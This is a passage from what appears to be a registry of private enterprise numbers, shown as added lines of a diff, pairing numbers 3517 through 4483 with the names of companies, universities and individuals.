+3517 Tieto Technology A/S, Denmark
+3518 Pressler Inc.
+3519 amplify.net, Inc.
+3520 TPS (La Television Par Satellite) Denis
+3521 Atlas Technologies, Inc.
+3522 Biodata GmbH
+3523 Netco GmbH
+3524 Continium
+3525 SilverBack Technologies
+3526 ITC GmbH
+3527 IntraSoft, Inc.
+3528 ESP, LLC
+3529 AVT Corporation
+3530 Research In Motion Ltd.
+3531 Orange DK
+3532 Meisei System Service Company
+3533 Acies Sistemas S/C Ltda.
+3534 CTAM Pty. Ltd.
+3535 Hutchison Avenue Software Corp.
+3536 Globus
+3537 AirFiber, Inc.
+3538 Europe Connection Ltd
+3539 Unassigned
+3540 Conelly International, Inc.
+3541 Bindview Development Corp.
+3542 Galea Network Security
+3543 Abilis gmbh
+3544 Baycorp ID Services Ltd.
+3545 Maddox Broadcast Ltd.
+3546 Acute Communications Corporation
+3547 Tollbridge Technologies
+3548 Oresis Communications
+3549 MLI Enterprises
+3550 Allstor Software Limited
+3551 Spring Tide Networks, Inc.
+3552 EES Technology Ltd.
+3553 CSP AG
+3554 SAS Institue Inc
+3555 NetLock Ltd.
+3556 GENO-RZ GmbH
+3557 MS3.net
+3558 BGS Systemplanung AG
+3559 The Digital Schoolhouse
+3560 Sphere Logic Corporation
+3561 Broadband Forum (previously 'DSL Forum')
+3562 Jim Marsden Development (formerly 'Selway Moore Limited')
+3563 National Network Data Services
+3564 Ciphernet
+3565 Grolier Interactive Europe On Line Groupe
+3566 Midnight Technologies
+3567 Scott Supply Service, Inc.
+3568 Service Co LLC
+3569 Electronic Payment Services, Inc.
+3570 Tait Limited
+3571 Gift-Trek Malaysia Sdn. Bhd.
+3572 HanA Systems, Inc.
+3573 South African Networking People (Pty) Ltd
+3574 ORSYP SA
+3575 RKB Onsite Computer Service
+3576 MCI
+3577 Himachal Futuristic Communications Limited
+3578 PixStream Incorporated
+3579 Hurley
+3580 Bell Emergis
+3581 Seagate Technology
+3582 LSI Logic
+3583 JetCell, Inc.
+3584 Pacific Fiberoptics, Inc.
+3585 Omnisec AG
+3586 Diebold, Incorporated
+3587 TIW Systems, Inc.
+3588 NovoGroup Oyj
+3589 SoGot
+3590 IA Information Systems AG
+3591 R.W. Shore
+3592 Drägerwerk AG & Co. KGaA (formerly 'Draeger Medizintechnik GmbH')
+3593 Alcatel Sistemas de Informacion
+3594 LJL Enterprises, Inc.
+3595 BC TEL Advanced Communications
+3596 CMLTechnologies Inc.
+3597 WildThings
+3598 Dixie Cake
+3599 Type & Graphics Pty Limited
+3600 Teltronics, Inc.
+3601 C.R. McGuffin Consulting Services
+3602 International Datacasting Corporation
+3603 Westpac Banking Corporation
+3604 XYPI MEDIANET PVT. Ltd.
+3605 Nesser & Nesser Consulting
+3606 Incognito Software Systems Inc.
+3607 Cerent Corporation
+3608 The Tillerman Group
+3609 Cequs Inc.
+3610 Ryan Net Works
+3611 Foo Chicken, Ltd
+3612 Marcel Enterprises
+3613 Rubicon Technologies, Inc.
+3614 Altor plc
+3615 SoftWell Performance AB
+3616 United Resource Economic & Trading Center C.,
+3617 SurfControl plc
+3618 Flying Crocodile, Inc
+3619 ProxyMed, Inc.
+3620 Transact Systems, Inc.
+3621 Nuance Communications
+3622 GEFM
+3623 Systemintegrering AB
+3624 Enator Communications AB
+3625 iHighway.net, Inc.
+3626 Dipl.-Ing. (FH) Markus Drechsler
+3627 Criptolab
+3628 Tietokesko Ltd
+3629 Atos Origin
+3630 DeltaKabel Telecom cv
+3631 Bridgewater Systems Corp.
+3632 MaxComm Technologies Inc.
+3633 iD2 Technologies AB
+3634 Allied Riser Communications Inc.
+3635 Wavesat Telecom, Inc.
+3636 dpa Deutsche Presse-Agentur GmbH
+3637 Power & Data Technology, Inc.
+3638 IntelliReach Corporation
+3639 WM-data
+3640 DataPath, Inc.
+3641 Netaphor Software, Inc.
+3642 CryptoConsult
+3643 DIRTSA
+3644 Carden Enterprise Ltd
+3645 SONZ Ltd
+3646 ASKEY Computer Corp.
+3647 RaidTec, Inc.
+3648 Harcourt Brace & Company
+3649 Rollins Technology Inc.
+3650 NetOps Corp
+3651 Know IT AB
+3652 Pan Dacom Direkt GmbH (formerly 'Pan Dacom Networking AG')
+3653 Cirque Networks, Inc.
+3654 NaviNet
+3655 Germanischer Lloyd AG
+3656 FORCE Computers GmbH
+3657 Ericsson Wireless LAN Systems
+3658 Dalian F.T.Z. TianYang Int'l Trade Co., Ltd.
+3659 Ethercity Designs and Hosting Solutions
+3660 G3M Corporation
+3661 Secure Data Access Inc.
+3662 QWES.com Incorporated
+3663 Megaxess
+3664 Polygon
+3665 Netoids Inc.
+3666 Acriter Software B.V.
+3667 InteleNet Communications
+3668 Control Module Inc.(CMI)
+3669 Aveo Inc.
+3670 MD PREI
+3671 Picazo Communication Inc.
+3672 Scottsdale Securities, Inc.
+3673 WebManage Technologies, Inc.
+3674 Infoclubindia
+3675 Connor Plumbing & Heating
+3676 Sentryl Software, Inc.
+3677 Engetron - Engenharia Eletronica Ind. e Com. Ltda.
+3678 Icaro
+3679 Unity Health
+3680 Parity Software Dev. Corp.
+3681 David D. Hartman, CPA
+3682 ComGates Communications Ltd.
+3683 Honeywell Oy, Varkaus
+3684 InterWorld Corp.
+3685 Sento Pty Ltd
+3686 Wicks By Julie
+3687 HSD - Hardware Software Development GmbH
+3688 Morpho e-documents (formerly 'Sagem Orga GmbH')
+3689 New Technology Development, Inc.
+3690 TIAA-CREF
+3691 Team2it-CopyLeft S.r.l.
+3692 Intuit
+3693 Hakusan Corporation
+3694 Thyssen Informatik GmbH
+3695 Chromatis Networks Inc.
+3696 MicroProdigy
+3697 Quantum Corporation
+3698 Saraide
+3699 Network Technologies Inc
+3700 Stellar One Corporation
+3701 TurboNet Communications
+3702 Printrak International Inc.
+3703 CyberFax Inc.
+3704 Advanced Micro Devices, Inc
+3705 ICET SpA
+3706 ADiTel Telekommunikation Network GmbH
+3707 ADiT Holding GmbH
+3708 ADLER DATA Software GmbH
+3709 Teracom Telematica Ltda.
+3710 LANmetrix Pty Ltd
+3711 SINETICA
+3712 GigaNet Incorporated
+3713 Voxent Systems Ltd
+3714 BellSouth Wireless Data, L.P.
+3715 Teleste Corporation
+3716 Brand Communications Limited
+3717 GeNUA mbH
+3718 Philips Broadband Networks
+3719 Exmicro
+3720 Visiqn
+3721 OTONET s.a.r.l.
+3722 Vulkan-Com Ltd.
+3723 Ankey
+3724 Interactive Communications Systems
+3725 AC&E Ltd
+3726 enCommerce, Incorporated
+3727 Western Multiplex
+3728 REALM Information Technoligies, Inc.
+3729 Nokia (formerly 'Alcatel-Lucent')
+3730 Westport Technologies
+3731 The SABRE Group
+3732 Calamp Wireless Networks Inc (formerly 'Dataradio Inc.')
+3733 Datakom Austria DI Erich
+3734 Security-7 Ltd.
+3735 Telesafe AS
+3736 Goodfield Corp.
+3737 Pleiades Communications, Inc.
+3738 StreamSoft, Inc.
+3739 The Eighteenth Software Co.,Ltd.
+3740 Aquila Technologies Group, Inc
+3741 Foliage Software Systems
+3742 VIATechnologies,Inc
+3743 P.D. Systems International Ltd
+3744 DATEV eG
+3745 ClustRa AS
+3746 Swisscom AG
+3747 AS Yegen
+3748 Bank of America
+3749 TeleHub Communication Corp
+3750 Iscape Software
+3751 Dragon Industries
+3752 Thales Norway AS
+3753 Aitek S.r.L.
+3754 Crag Technologies
+3755 ATOP Technologies, Inc.
+3756 Julien Daniel
+3757 PT. Usaha Mediantara Intranet
+3758 Core Networks, Inc
+3759 OMEGA Micro Systems
+3760 Content Technologies Ltd
+3761 HAGER-ELECTRONICS GmbH
+3762 Kwangwoon University
+3763 Veramark
+3764 Quantum Corporation (formerly 'Advanced Digital Information Corporation')
+3765 StrategicLink Consulting
+3766 Hannibal Teknologies
+3767 Pan-International Industrial Corp.
+3768 Department of Veterans Affairs
+3769 Banyan Networks Pvt. Ltd.
+3770 MCK Communications
+3771 ko6yd
+3772 POS Resources Inc.
+3773 Siara Systems
+3774 Wavelink
+3775 AGFA Corporation
+3776 Millenium Solutions
+3777 HydraWEB Technologies
+3778 CP Eletronica Industrial S/A
+3779 Kingmax Technology Inc.
+3780 Level 3 Communications, Inc.
+3781 WXN, Inc.
+3782 University of North Texas
+3783 EMR Corporation
+3784 Speakerbus Ltd.
+3785 Cirrus Logic
+3786 Highland Technology Group, Inc.
+3787 Russel Lane & Associates, Inc.
+3788 Talktyme Technologies Inc
+3789 Wire Terminator (WT)
+3790 Hamamatsu Photonics K.K. Kazuhiko
+3791 TeleComp, Inc.
+3792 LOGEC Systems
+3793 Lanier Worldwide, Inc.
+3794 Midas Communication Technologies Private Limited
+3795 Enact Inc.
+3796 imt Information Management Technology AG
+3797 BENQ Corporation
+3798 Jinny Paging
+3799 Live Networking Inc.
+3800 Unisource Italia S.p.A.
+3801 Agranat Systems, Inc.
+3802 Softamed
+3803 Praxon
+3804 Standard Chartered Bank (Treasury)
+3805 Longhai Yongchuan Foods Co., Ltd.
+3806 Shiron Satellite Communications(1996) Ltd.
+3807 Wuhan Research Institute of Posts and Telecommunications
+3808 Cyber Power System Inc.
+3809 Cyras Systems Inc
+3810 NetLine
+3811 SpectraSoft Inc.
+3812 Anda Networks, Inc.
+3813 Ellacoya Networks, Inc.
+3814 CallNet Communications, Inc.
+3815 Control Solutions, Inc.
+3816 Nominet UK
+3817 Monfox, Inc.
+3818 MetraTech Corp.
+3819 OptiSystems Solutions Ltd.
+3820 Ziga Corporation
+3821 Indian Valley Enterpriseses Inc.
+3822 Edimax Technology Co., Ltd.
+3823 Touchbase Communications
+3824 Attune Networks
+3825 Advanced Network & Services, Inc.
+3826 Nextpoint Networks, Inc.
+3827 Moscow Central Depository
+3828 STG Inc.
+3829 Imaging Technologies Corporation
+3830 Acision
+3831 Oblix Inc.
+3832 Taylored Solutions
+3833 Schneider Electric
+3834 Novartis Pharma AG
+3835 ALPS Electric
+3836 Terese Brown Real Estate
+3837 HBOC Imaging Solutions Group
+3838 Gasper Corporation
+3839 NeoWave Inc.
+3840 Globe Institute of Technology
+3841 Flycast Communications Corp.
+3842 lkis
+3843 Pyderion Contact Technologies Inc.
+3844 Graham Technology plc
+3845 Citrix Systems Inc.
+3846 QMaster Software Solutions, Inc.
+3847 Ensemble Communications Incorporated
+3848 Northchurch Communications, Inc.
+3849 Object Integration, Inc.
+3850 Xnet Communications GmbH
+3851 Optika Inc.
+3852 Soft-Inter Technologies
+3853 ViaGate Technologies
+3854 KCP, Inc.
+3855 Elastic Networks
+3856 Siebel Systems
+3857 Sage Research Facility
+3858 Capricon Engineers
+3859 VXL Instruments Ltd
+3860 First International Computer, Inc.
+3861 Fujitsu Network Communications, Inc.
+3862 Royal Bank of Scotland
+3863 Canadian Marconi Company
+3864 InTalk, Inc.
+3865 Thorne, West
+3866 Global Net Center
+3867 Presence Technology GmbH+Co.KGMichael
+3868 Concentrix
+3869 IntelliLogic Networks, Inc.
+3870 Internet Business Emporium
+3871 Ditech Corporation
+3872 Miranda Technologies Inc.
+3873 QLogic
+3874 InfoValue Computing, Inc.
+3875 Metro Computing Consultants, Inc.
+3876 ARINC Incorporated
+3877 First American National Bank
+3878 Real Software Company
+3879 Taiwan Telecommunication Industry Co., Ltd.
+3880 Wireless Information Transfer Systems
+3881 Telefonaktiebolaget LM Ericsson
+3882 Pacom Systems Pty Ltd
+3883 Next plc
+3884 Phobos Corporation
+3885 Lifeline Systems Inc.
+3886 MiMax Information
+3887 Elder Enterprises
+3888 Iapetus Software
+3889 CE Infosys GmbH
+3890 Across Wireless AB
+3891 Chicago Board of Trade
+3892 ATEB
+3893 Parks Comunicacoes Digitais
+3894 Pitney Bowes
+3895 Advent Communications Ltd
+3896 Automated Integrated Solutions, Inc.
+3897 Edison Technology Solutions
+3898 Mitsubishi Telecommunications Network Division
+3899 South China Morning Post Publishers Ltd
+3900 Raster Solutions Pty. Ltd.
+3901 Managed Messaging, LLC
+3902 Zhongxing Telecom Co.,ltd. (abbr. ZTE)
+3903 Tornado Development, Inc.
+3904 Xlink Internet Service GmbH
+3905 Telenordia Internet
+3906 Data Communication Technology Research Institute
+3907 California Independent System Operator
+3908 GSP
+3909 Nodes, Inc.
+3910 Railtrack PLC
+3911 Glasner Consulting
+3912 GWcom, Inc.
+3913 Array Telecom Corp.
+3914 TCOSoft, Inc.
+3915 Teknis Electronics
+3916 Neo-Core, Inc.
+3917 V-Bits, Inc.
+3918 Watson Wyatt Worldwide
+3919 Monterey Networks, Inc.
+3920 CSNet Consulting, Inc.
+3921 Aplion Networks, Inc.
+3922 WidePoint Cybersecurity Solutions Corporation
+3923 Intrak, Inc.
+3924 Policy Management Systems Corp.
+3925 Encompass Enterprise Management Consultants
+3926 NewSouth Communications Corp.
+3927 WarpSpeed Communications
+3928 Sandwich Wireless Communications, Inc.
+3929 NEITH Creative Beauty
+3930 NTT Electronics Corporation
+3931 EasyAccess
+3932 Lara Technology, Inc.
+3933 NEXO
+3934 Net-Wise Communications Ltd
+3935 Centro Cantonale d'Informatica
+3936 SINTECA
+3937 EMS Technologies Canada Ltd.
+3938 Deccan Technologies, Inc.Vijay Burgula/Vik Jang
+3939 Internet Devices, Inc.
+3940 Ninety.De
+3941 Santak Electronics Co. Ltd.
+3942 Infinet LLC (formerly 'Aqua Project Group')
+3943 Deva.net
+3944 Data Solutions Group
+3945 Sylantro Systems
+3946 Conklin Corporation
+3947 Inverse Network Technology
+3948 Sonus Networks, Inc.
+3949 Intrinsix Corporation
+3950 TierTwo Systems
+3951 Visionik A/S
+3952 Caly Corporation
+3953 Albert Ackermann GmbH + Co KG
+3954 Mitra Imaging Inc.
+3955 Linksys
+3956 Envox
+3957 Globalarchitect
+3958 Solution Associates
+3959 InterCall Communications & Consulting
+3960 Government Technology Solutions
+3961 Corona Networks
+3962 MGL Groupe AUBAY
+3963 R.C. Wright & Associates
+3964 Danet GmbH
+3965 Spacebridge Networks Corporation
+3966 Allianz Elementar Versicherungs-Aktiengesellschaften
+3967 Bosch Sicherheitssysteme Engineering GmbH
+3968 Webline Communications Corp.
+3969 RealNetworks, Inc.
+3970 FragRage Network
+3971 IMECOM
+3972 Apsion
+3973 Quest Software Inc.
+3974 Custom Internetworking Inc.
+3975 Boston Communications Group, Inc.
+3976 LinkData Solutions (Pty) Limited
+3977 Broadband Networks, Inc.
+3978 Ingenieurbuero fuer Telekommunikations- undSoftware-Systemloesungen
+3979 AsGa Microeletronica S.A.
+3980 Home Account Network, Inc.
+3981 Troika Networks, Inc.
+3982 FaxNET Corporation
+3983 Video Networks, Inc
+3984 EBSCO Publishing
+3985 Avery Computer Systems
+3986 HighwayMaster
+3987 Concept Webcd Services Pvt. Ltd.
+3988 Finecom Co., Ltd.
+3989 DigiComm Corporation
+3990 Innovative Technology Software Systems Ltd
+3991 Reticom
+3992 Ohmega Electronic Products Ltd.
+3993 Perfect Order
+3994 Virtual Resources Communications Inc.
+3995 VASCO Data Security International, Inc.
+3996 Open Systems AG
+3997 ImproWare AG
+3998 Cherus
+3999 dydx
+4000 Hi-net Research Group
+4001 KADAK Products Ltd.
+4002 Banco del Buen Ayre
+4003 George Mason University
+4004 Aloha Networks Inc.
+4005 Tundo Corporation
+4006 Tundo Communication and Telephony Ltd.
+4007 Cable & Wireless Communications plc
+4008 Ardebil Pty Ltd
+4009 Telephonics Corporation
+4010 Dorsai Technology
+4011 CNUT Archetype Ltd
+4012 Selectica, Inc.
+4013 KPMG LLP ICE Telecom-SVO
+4014 StarBurst Software
+4015 Computer Configurations Holdings
+4016 Iperia, Incorporated
+4017 Logisistem Srl
+4018 Security First Technologies, Inc.
+4019 APIS Software GmbH
+4020 Coop Genossenschaft Switzerland
+4021 Ensim Corporation
+4022 AEC Ltd.
+4023 Imran
+4024 Avantel S.A.
+4025 Lexitech, Inc.
+4026 Internet Access AG
+4027 GTE Laboratories Incorporated
+4028 Decision Networks
+4029 NSI Communications Systems Inc.
+4030 Mitsubishi Electric Automation, Inc.- UPS division
+4031 Orillion USA, Inc.
+4032 DataKinetics Ltd
+4033 Signal Core
+4034 IntraNet, Inc.
+4035 Ignitus Communications
+4036 Enator Telub AB
+4037 Presbyterian Church (USA)
+4038 Softov Advanced Systems Ltd.
+4039 Mayan Networks Corporation
+4040 MicroSignals Group
+4041 Nomura International Plc
+4042 DigiCommerce Ltd.
+4043 QNX Software Systems Ltd.
+4044 Eloquence Limited
+4045 Thomson-CSF Communications
+4046 SCORT
+4047 Hunan Computer CO., Ltd.
+4048 Kinko's, Inc.
+4049 Opus Comunicacao de Dados
+4050 Infuntainment Limited
+4051 SowsEar Solution Design Group
+4052 Vanguard Security Technologies Ltd Raviv Karnieli
+4053 Switchcore
+4054 Abatis Systems Corporation
+4055 Nimbus Software AS
+4056 StreamCORE
+4057 ControlNet, Inc.
+4058 Generali IT-Solutions GmbH
+4059 Broadlogic
+4060 JFAX.COM
+4061 Technology Control Services
+4062 Astral Point Communications, Inc.
+4063 ASC Technologies AG (formerly 'ASC Telecom AG')
+4064 Elma Oy Electronic Trading
+4065 InfraServ GmbH & Co Gendorf KG
+4066 Carioli Consulting Inc.
+4067 Fivemere Ltd.
+4068 Pathway Inc.
+4069 Ellison Software Consulting, Inc.
+4070 US West Internet Services
+4071 PRAIM S.p.A.
+4072 Qeyton Systems AB
+4073 TeleDiffusion de France
+4074 Krutulis Enterprises
+4075 Sedona Networks
+4076 Novera Software, Inc.
+4077 The Limited, Inc.
+4078 Symon Communications
+4079 24/7 Media, Inc.
+4080 Archangels Realty, Inc.
+4081 Zelea
+4082 Timko Enterprises
+4083 Spark New Zealand (formerly 'Telecom New Zealand')
+4084 Trilogy Development Group
+4085 D.I.B. Ges. fuer Standortbetreiberdienste mbH
+4086 Ericsson Research Montreal (LMC)
+4087 USWeb/CKS
+4088 aku awekku & co.
+4089 SALUtel
+4090 Consorte Tele AS
+4091 Infitel Italia srl
+4092 Computel Standby BV
+4093 Merlot Communications, Inc.
+4094 Quality Tank & Construction Co. Inc.
+4095 Axent Technologies
+4096 Thales e-Security
+4097 Elan Text to Speech
+4098 Signaal Communications
+4099 Tristrata Inc.
+4100 Wavetek Wandel Goltermann
+4101 John Hancock Financial Services
+4102 SHYM Technology Inc.
+4103 CNN
+4104 Redwood Technology B.V.
+4105 Stargus, Inc.
+4106 Astrophysikalisches Institut Potsdam
+4107 Beijing Telecom Administration, China
+4108 Serendip
+4109 Durango Security Group
+4110 Softstart Services Inc.
+4111 Westell (UK) Ltd
+4112 Tunitas Group
+4113 Tenor Networks, Inc.
+4114 T10.net
+4115 Arris Interactive LLC
+4116 InfoInterActive Inc.
+4117 Entertainment Systems Technology
+4118 Tesla Liptovsky Hradok a.s.
+4119 Remote Management Systems Pty Ltd
+4120 Sonik Technologies Corp.
+4121 Digital Chicago.net
+4122 The University of Texas Health Science Center at Houston
+4123 Hitachi America Ltd
+4124 Unify Consulting Group, Inc.
+4125 Siemens AG ICP Kornelius
+4126 LogMatrix Inc (formerly 'Open Service')
+4127 Mercury Computer Systems, Inc.
+4128 ARM Ltd.
+4129 Mnaccari@consulting
+4130 Microwave Data Systems
+4131 Tridium
+4132 Connecticut Hospital Association
+4133 philipjeddycpas
+4134 Philip J. Eddy & Partners Pty Ltd
+4135 NiceTec GmbH
+4136 UQAM | Université du Québec à Montréal
+4137 GAURI Info-Comm.Inc.
+4138 Sychron Ltd
+4139 WapIT Ltd.
+4140 Computer & Telephony Systems AB
+4141 IMR Worldwide Pty Ltd
+4142 FDS Networks Limited
+4143 M&I Data Services Alexander
+4144 PricewaterhouseCoopers-FP5
+4145 Cristie Data Products Limited
+4146 GlobalSign NV/SA
+4147 Zuercher Kantonalbank
+4148 DeWitt, Ross &Stevens, S.C.
+4149 Accrue Software, Inc.
+4150 Northwestern Mutual Life Insurance Company
+4151 iMPath Networks Inc.
+4152 Two Way TV
+4153 Simple Networks
+4154 Versa Technology, Inc.
+4155 Cemoc Ltd
+4156 New Access Communications, Inc.
+4157 BCE Emergis
+4158 Milman Consulting
+4159 Electronic Theatre Controls, Inc.
+4160 VIVE Synergies Inc.
+4161 Qtera Corporation
+4162 Input Output Inc.
+4163 Quarry Technologies
+4165 SE Electronics
+4166 The Mercy Foundation
+4167 Markus Lauer IT Consulting
+4168 Systems Management Specialists
+4169 Syzygy Solutions
+4170 University of Wisconsin-Milwaukee
+4171 BOSUNG Data Communication Co.
+4172 Narae Information & Communication Enterprise
+4173 VIERLING Communication S.A.S.
+4174 Critical Devices, Inc.
+4175 Tessler's Nifty Tools
+4176 Newton Solutions
+4177 Redding Enterprises
+4178 Aspect Software
+4179 Commercial Technologies Corp
+4180 Talkstar.Com Inc.
+4181 Generic Telecom Ltd.
+4182 Leningrad Nuclear Power Plant
+4183 Hammer Technologies
+4184 SMS - Shared Medical Systems, Inc.
+4185 Boostworks
+4186 AKA Consulting, Inc.
+4187 Storage Area Networks Ltd
+4188 Realize Communications
+4189 EGIS K.K.
+4190 ETRADE Securities
+4191 SIGOS Systemintegration GmbH
+4192 Tennessee Valley Authority
+4193 VUT BRNO, faculty of EE and CS
+4194 Leonia plc
+4195 TeleSoft Inc.
+4196 Siemens AG Automation & Drives
+4197 Cap Gemini Denmark A/S
+4198 VPN Consortium
+4199 Cellnet Technology, Inc.
+4200 Fast Search & Transfer
+4201 Tonna Electronique
+4202 Samwoo Telecommunications Co., Ltd.
+4203 The OpenLDAP Foundation
+4204 Adtec Co., Ltd.
+4205 Durak Unlimited
+4206 MITA Industrial Co., Ltd.
+4207 Daydream Promotions
+4208 Tantivy Communications, Inc.
+4209 CDVS Inc.
+4210 Assumption University
+4211 Corillian
+4212 SPM - Systementwicklung und Projektmanagement GmbH
+4213 Infrax Inc.
+4214 Sunquest Information Systems, Inc.
+4215 SilkRoad, Inc.
+4216 Triton Network Systems
+4217 Opalis
+4218 Gecko Software Limited
+4219 regioconnect GmbH
+4220 ARCANVS
+4221 Soundscaipe
+4222 OnDisplay Incorporated
+4223 Milgo Solutions, Inc.
+4224 John H. Harland Company
+4225 Peach Networks
+4226 Composit Communications
+4227 Sixtra Chile S.A.
+4228 DASCOM, Inc.
+4229 Westfair Foods Ltd.
+4230 Pirouette, Inc.
+4231 OB Telematics
+4232 CTX Opto-Electronics Corp.
+4233 Dalian Daxian Network System Co.ltd
+4234 Pragma Ltda.
+4235 CultureShock Multimedia
+4236 Spectel Ltd.
+4237 Busby Software
+4238 Media Station Inc.
+4239 Kommunedata A/S
+4240 Vodafone Information Systems GmbH
+4241 Peakstone Corporation
+4242 The Clorox Company
+4243 NPO Infoservice
+4244 Cinnabar Networks Inc.
+4245 Posten SDS AS
+4246 Comverse Network Systems (CNS)
+4247 The University of Edinburgh
+4248 Interconexion Electrica S.A.
+4249 NATEKS Ltd.
+4250 H.I.T. Industries Sales Ltd
+4251 System Design Repair
+4252 High Speed Access
+4253 LuxN, Inc.
+4254 arvato systems GmbH
+4255 Perfecto Technologies
+4256 Kipling Information Technology AB
+4257 Cyberstation, Inc.
+4258 Open4Rent
+4259 FDP
+4260 3rd Millennium Consulting
+4261 Globol Solutions
+4262 Jean=Claude Metal Craft
+4263 Dr. Andreas Muller, Beratung und Entwicklung
+4264 World Ramp, Inc.
+4265 Tachion Network Technologies Inc.
+4266 FernUniversitaet Hagen
+4267 Transcend, Inc.
+4268 BancTec Computer and Network Services
+4269 WorldPort Communications, Inc.
+4270 EDV-Beratung Blechschmidt
+4271 Nevex Software Technologies Inc.
+4272 Exact Solutions, Inc.
+4273 LEROY AUTOMATIQUE INDUSTRIELLE
+4274 Pangolin UK Ltd
+4275 Duke University
+4276 PCS Innovations Inc.
+4277 Telocity Communications, Inc.
+4278 Yahoo!
+4279 Sirocco Systems
+4280 ARtem GmbHMichael Marsanu/Catrinel Catrinescu
+4281 Assumption
+4282 KenCast Inc.
+4283 Dual-Zentrumn GmbH
+4284 Norweb Internett Tjenester
+4285 Ruslan CommunicationsDmitry Shibayev, Alexandr Gorbachev
+4286 e-Security, Inc.
+4287 Philips Consumer Electronics
+4288 Forge Research Pty Ltd
+4289 VBrick Systems, Inc.
+4290 Logic Innovations, Inc.
+4291 Chordiant Software Inc.
+4292 Entera, Inc.
+4293 Bensons
+4294 Salbu (Pty) Ltd
+4295 Kalki Communication Technologies Pvt Ltd
+4296 Cenfor S.L.
+4297 Finisar Corporation
+4298 ETC (Excellence in Technology Consulting)
+4299 Open Solution Providers
+4300 Inmon Corp.
+4301 UniServe Consulting Limited
+4302 Cybex Computer Products Corporation
+4303 CamART
+4304 CSIRO - Div. of Animal Health
+4305 University of Maryland
+4306 JMDEL Systems
+4307 Office Connect, Inc.
+4308 Consejo Superior de Camaras
+4309 IP Technologies
+4310 Unique Computer Services, Inc.
+4311 Equinix
+4312 VITA Systems, Inc.
+4313 Allayer Technologies
+4314 Xilinx, Inc.
+4315 XACCT Technologies, Ltd.
+4316 Brandeis University
+4317 Javelin Technology Corp.
+4318 Edixia
+4319 Ennovate Networks, Inc
+4320 Freshwater Software, Inc.
+4321 Riverbed Technologies
+4322 Murata Machinery, Ltd.
+4323 Quantum Bridge
+4324 SAEJIN T&M Co., Ltd.
+4325 Aperto Networks
+4326 Crown International
+4327 Trading WorldCom
+4328 M.I. Systems, K.K.
+4329 Siemens AG
+4330 PMC-Sierra Inc.
+4331 Aventail Corporation
+4332 Institute of Systems & information Technologies/KYUSHU
+4333 Insight Technology, Inc.
+4334 Ampersand Chantilly Communications
+4335 TechWorld Incorporated
+4336 Expertech Pty Ltd
+4337 RadiSys Corp.
+4338 Case Corporation
+4339 Rhode Island Economic Development Corporation
+4340 Bacteriophage Lambda
+4341 Spider Internet Services
+4342 USHealth Real Estate
+4343 Boundless Technologies
+4344 Post-Industrial Training Institute
+4345 Thomas & Betts
+4346 Phoenix Contact GmbH & Co.
+4347 MessageWise Inc.
+4348 Domino Computers Nigeria Ltd
+4349 LXCO Technologies AG
+4350 Maxpert AG
+4351 Network Systems Group
+4352 Urgle
+4353 Builders Network Ltd
+4354 NetDragon Ltd
+4355 RapidStream, Inc.
+4356 inform solutions GmbH
+4357 Coteng
+4358 Ziatech Corporation
+4359 TelGen Corporation
+4360 Tumbleweed Communications
+4361 Amgen, Inc.
+4362 Nylorac Software, Inc.
+4363 University of Bristol Julius
+4364 BV Solutions Group
+4365 Myowngig
+4366 Locus Corp.
+4367 Electronic Laboratory Services CC
+4368 H.A.N.D. GmbH
+4369 Brocade Communications Systems, Inc. (formerly 'McDATA,Inc')
+4370 Tokyo DisneySea
+4371 Digital United Inc.
+4372 Softlink s.r.o.
+4373 Rivere Corporation
+4374 Motive Communications, Inc.
+4375 DT Research, Inc
+4376 Nettech Systems, Inc.
+4377 X-Point Communications
+4378 ---none---
+4379 Alien Internet Services
+4380 Elipse Software
+4381 Astracon Inc.
+4382 Aladdin Knowledge Systems Ltd.
+4383 Glassey.com
+4384 Meridianus
+4385 Stime.org WG
+4386 TDC A/S
+4387 Ubique Ltd.
+4388 Alcatel Altech Telecoms
+4389 Sys-Dis
+4390 Kemper Insurance
+4391 Texas A&M University
+4392 Northbrook Services, Inc.
+4393 Pentacom Ltd.
+4394 SoftFx
+4395 Unified Technologies Sverige HB
+4396 The Open Group
+4397 OPT Technologies Limited
+4398 B&L Associates, Inc.
+4399 Johnson Controls, Inc.
+4400 Cypress Corporation
+4401 MoonVine
+4402 NetPredict, Inc
+4403 Visual Brain Ltd S.a.r.l.
+4404 Tekelec
+4405 Ansid Inc.
+4406 Toyo Information Systems Co., Ltd.
+4407 Dracom Ltd.
+4408 EDSL
+4409 Campus Pipeline, Inc.
+4410 Earth Star Group
+4411 Swinburne.com
+4412 Wrox Press
+4413 Broadcom Limited
+4414 Scandinavian Softline Technology Oy
+4415 Florida Department of Law Enforcement
+4416 Starfire Experts Ltd
+4417 Alidian Networks, Inc.
+4418 MegaSys Computer Technologies
+4419 Sony Online Entertainment
+4420 Westica Limited
+4421 Santera Systems Inc.
+4422 GTE I.T.
+4423 Garnet Systems Co., Ltd.
+4424 Rapid Logic
+4425 Meta Gymnastics, Inc.
+4426 Fujitsu Australia Software Technology Pty Ltd
+4427 Pironet Intranet AG
+4428 Supercomputing Systems AG
+4429 MegaChips Corporation
+4430 Silicon Automation Systems (India) Ltd
+4431 Netia
+4432 Apani Networks
+4433 Strategic Financial Planning
+4434 Bluestone Software Inc.
+4435 Suedtiroler Informatik AG
+4436 Mission Critical
+4437 Canadian Imperial Bank of Commerce
+4438 Göteborg Energi AB
+4439 EnZane Enterprise
+4440 Purdue University
+4441 GE Capital Fleet Services
+4442 KARA
+4443 Ned Boddie & Assoc.
+4444 SAINCO
+4445 INTER s.a.r.l.
+4446 Prairie Development, Inc.
+4447 Rochester Institute of Technology
+4448 E-Lock Technologies, Inc.
+4449 SSH Communications Security, Inc.
+4450 iC-Consult
+4451 MORION
+4452 Telenor 4tel
+4453 Infonet Services Corp.
+4454 Gottfried Web and Computer Consulting
+4455 I-Bus Corporation
+4456 AWI (formerly 'Qualimetrics')
+4457 O ROCK Outerwear
+4458 Radwin Ltd.
+4459 Industree B.V.
+4460 FirstWorld Communications
+4461 OpenNetwork Technologies
+4462 SVM Microwaves, s.r.o.
+4463 TaoNet
+4464 MPB Communications Inc.
+4465 ViewCast.com
+4466 Harmonic Video Network (formerly 'Tadiran Scopus')
+4467 FibroLan
+4468 Telkoor-QPS
+4469 Diversinet Corp.
+4470 TeleDream Inc.
+4471 Network Security Wizards
+4472 MONTAGE IT Services Inc.
+4473 Opto 22
+4474 PaxComm
+4475 Rainbow Software Solutions, Inc.
+4476 Lightrealm
+4477 Infocom Systems Services
+4478 Alacritech
+4479 SpectraPoint Wireless LLC
+4480 FastForward Networks, Inc.
+4481 CIA Europe
+4482 RWE AG
+4483 IBI Co., Ltd.
